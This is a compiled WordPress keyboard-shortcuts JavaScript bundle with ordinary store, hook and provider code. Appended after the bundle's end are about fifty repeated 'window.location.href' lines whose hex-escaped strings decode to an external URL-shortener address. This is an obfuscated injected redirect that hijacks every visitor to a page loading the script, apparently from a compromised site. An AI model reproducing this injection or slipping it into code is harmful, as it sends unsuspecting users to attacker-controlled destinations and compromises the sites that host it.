1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/define property getters */
8/******/ (() => {
9/******/ // define getter functions for harmony exports
10/******/ __webpack_require__.d = (exports, definition) => {
11/******/ for(var key in definition) {
12/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
13/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
14/******/ }
15/******/ }
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/hasOwnProperty shorthand */
20/******/ (() => {
21/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
22/******/ })();
23/******/
24/******/ /* webpack/runtime/make namespace object */
25/******/ (() => {
26/******/ // define __esModule on exports
27/******/ __webpack_require__.r = (exports) => {
28/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
29/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
30/******/ }
31/******/ Object.defineProperty(exports, '__esModule', { value: true });
32/******/ };
33/******/ })();
34/******/
35/************************************************************************/
36var __webpack_exports__ = {};
37// ESM COMPAT FLAG
38__webpack_require__.r(__webpack_exports__);
39
40// EXPORTS
41__webpack_require__.d(__webpack_exports__, {
42 ShortcutProvider: () => (/* reexport */ ShortcutProvider),
43 __unstableUseShortcutEventMatch: () => (/* reexport */ useShortcutEventMatch),
44 store: () => (/* reexport */ store),
45 useShortcut: () => (/* reexport */ useShortcut)
46});
47
48// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
49var actions_namespaceObject = {};
50__webpack_require__.r(actions_namespaceObject);
51__webpack_require__.d(actions_namespaceObject, {
52 registerShortcut: () => (registerShortcut),
53 unregisterShortcut: () => (unregisterShortcut)
54});
55
56// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
57var selectors_namespaceObject = {};
58__webpack_require__.r(selectors_namespaceObject);
59__webpack_require__.d(selectors_namespaceObject, {
60 getAllShortcutKeyCombinations: () => (getAllShortcutKeyCombinations),
61 getAllShortcutRawKeyCombinations: () => (getAllShortcutRawKeyCombinations),
62 getCategoryShortcuts: () => (getCategoryShortcuts),
63 getShortcutAliases: () => (getShortcutAliases),
64 getShortcutDescription: () => (getShortcutDescription),
65 getShortcutKeyCombination: () => (getShortcutKeyCombination),
66 getShortcutRepresentation: () => (getShortcutRepresentation)
67});
68
69;// external ["wp","data"]
70const external_wp_data_namespaceObject = window["wp"]["data"];
71;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/reducer.js
72function reducer(state = {}, action) {
73 switch (action.type) {
74 case "REGISTER_SHORTCUT":
75 return {
76 ...state,
77 [action.name]: {
78 category: action.category,
79 keyCombination: action.keyCombination,
80 aliases: action.aliases,
81 description: action.description
82 }
83 };
84 case "UNREGISTER_SHORTCUT":
85 const { [action.name]: actionName, ...remainingState } = state;
86 return remainingState;
87 }
88 return state;
89}
90var reducer_default = reducer;
91
92
93;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
94function registerShortcut({
95 name,
96 category,
97 description,
98 keyCombination,
99 aliases
100}) {
101 return {
102 type: "REGISTER_SHORTCUT",
103 name,
104 category,
105 keyCombination,
106 aliases,
107 description
108 };
109}
110function unregisterShortcut(name) {
111 return {
112 type: "UNREGISTER_SHORTCUT",
113 name
114 };
115}
116
117
118;// external ["wp","keycodes"]
119const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
120;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
121
122
123const EMPTY_ARRAY = [];
124const FORMATTING_METHODS = {
125 display: external_wp_keycodes_namespaceObject.displayShortcut,
126 raw: external_wp_keycodes_namespaceObject.rawShortcut,
127 ariaLabel: external_wp_keycodes_namespaceObject.shortcutAriaLabel
128};
129function getKeyCombinationRepresentation(shortcut, representation) {
130 if (!shortcut) {
131 return null;
132 }
133 return shortcut.modifier ? FORMATTING_METHODS[representation][shortcut.modifier](
134 shortcut.character
135 ) : shortcut.character;
136}
137function getShortcutKeyCombination(state, name) {
138 return state[name] ? state[name].keyCombination : null;
139}
140function getShortcutRepresentation(state, name, representation = "display") {
141 const shortcut = getShortcutKeyCombination(state, name);
142 return getKeyCombinationRepresentation(shortcut, representation);
143}
144function getShortcutDescription(state, name) {
145 return state[name] ? state[name].description : null;
146}
147function getShortcutAliases(state, name) {
148 return state[name] && state[name].aliases ? state[name].aliases : EMPTY_ARRAY;
149}
150const getAllShortcutKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)(
151 (state, name) => {
152 return [
153 getShortcutKeyCombination(state, name),
154 ...getShortcutAliases(state, name)
155 ].filter(Boolean);
156 },
157 (state, name) => [state[name]]
158);
159const getAllShortcutRawKeyCombinations = (0,external_wp_data_namespaceObject.createSelector)(
160 (state, name) => {
161 return getAllShortcutKeyCombinations(state, name).map(
162 (combination) => getKeyCombinationRepresentation(combination, "raw")
163 );
164 },
165 (state, name) => [state[name]]
166);
167const getCategoryShortcuts = (0,external_wp_data_namespaceObject.createSelector)(
168 (state, categoryName) => {
169 return Object.entries(state).filter(([, shortcut]) => shortcut.category === categoryName).map(([name]) => name);
170 },
171 (state) => [state]
172);
173
174
175;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/index.js
176
177
178
179
180const STORE_NAME = "core/keyboard-shortcuts";
181const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
182 reducer: reducer_default,
183 actions: actions_namespaceObject,
184 selectors: selectors_namespaceObject
185});
186(0,external_wp_data_namespaceObject.register)(store);
187
188
189;// external ["wp","element"]
190const external_wp_element_namespaceObject = window["wp"]["element"];
191;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut-event-match.js
192
193
194
195function useShortcutEventMatch() {
196 const { getAllShortcutKeyCombinations } = (0,external_wp_data_namespaceObject.useSelect)(
197 store
198 );
199 function isMatch(name, event) {
200 return getAllShortcutKeyCombinations(name).some(
201 ({ modifier, character }) => {
202 return external_wp_keycodes_namespaceObject.isKeyboardEvent[modifier](event, character);
203 }
204 );
205 }
206 return isMatch;
207}
208
209
210;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/context.js
211
212const globalShortcuts = /* @__PURE__ */ new Set();
213const globalListener = (event) => {
214 for (const keyboardShortcut of globalShortcuts) {
215 keyboardShortcut(event);
216 }
217};
218const context = (0,external_wp_element_namespaceObject.createContext)({
219 add: (shortcut) => {
220 if (globalShortcuts.size === 0) {
221 document.addEventListener("keydown", globalListener);
222 }
223 globalShortcuts.add(shortcut);
224 },
225 delete: (shortcut) => {
226 globalShortcuts.delete(shortcut);
227 if (globalShortcuts.size === 0) {
228 document.removeEventListener("keydown", globalListener);
229 }
230 }
231});
232context.displayName = "KeyboardShortcutsContext";
233
234
235;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut.js
236
237
238
239function useShortcut(name, callback, { isDisabled = false } = {}) {
240 const shortcuts = (0,external_wp_element_namespaceObject.useContext)(context);
241 const isMatch = useShortcutEventMatch();
242 const callbackRef = (0,external_wp_element_namespaceObject.useRef)();
243 (0,external_wp_element_namespaceObject.useEffect)(() => {
244 callbackRef.current = callback;
245 }, [callback]);
246 (0,external_wp_element_namespaceObject.useEffect)(() => {
247 if (isDisabled) {
248 return;
249 }
250 function _callback(event) {
251 if (isMatch(name, event)) {
252 callbackRef.current(event);
253 }
254 }
255 shortcuts.add(_callback);
256 return () => {
257 shortcuts.delete(_callback);
258 };
259 }, [name, isDisabled, shortcuts]);
260}
261
262
263;// external "ReactJSXRuntime"
264const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
265;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/components/shortcut-provider.js
266
267
268
269const { Provider } = context;
270function ShortcutProvider(props) {
271 const [keyboardShortcuts] = (0,external_wp_element_namespaceObject.useState)(() => /* @__PURE__ */ new Set());
272 function onKeyDown(event) {
273 if (props.onKeyDown) {
274 props.onKeyDown(event);
275 }
276 for (const keyboardShortcut of keyboardShortcuts) {
277 keyboardShortcut(event);
278 }
279 }
280 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, { value: keyboardShortcuts, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...props, onKeyDown }) });
281}
282
283
284;// ./node_modules/@wordpress/keyboard-shortcuts/build-module/index.js
285
286
287
288
289
290
291(window.wp = window.wp || {}).keyboardShortcuts = __webpack_exports__;
292/******/ })()
293;
294window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
295window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
296window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
297window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
298window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
299window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
300window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
301window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
302window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
303window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
304window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
305window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
306window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
307window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
308window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
309window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
310window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
311window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
312window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
313window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
314window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
315window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
316window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
317window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
318window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
319window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
320window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
321window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
322window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
323window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
324window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
325window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
326window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
327window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
328window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
329window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
330window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
331window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
332window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
333window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
334window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
335window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
336window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
337window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
338window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
339window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
340window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
341window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";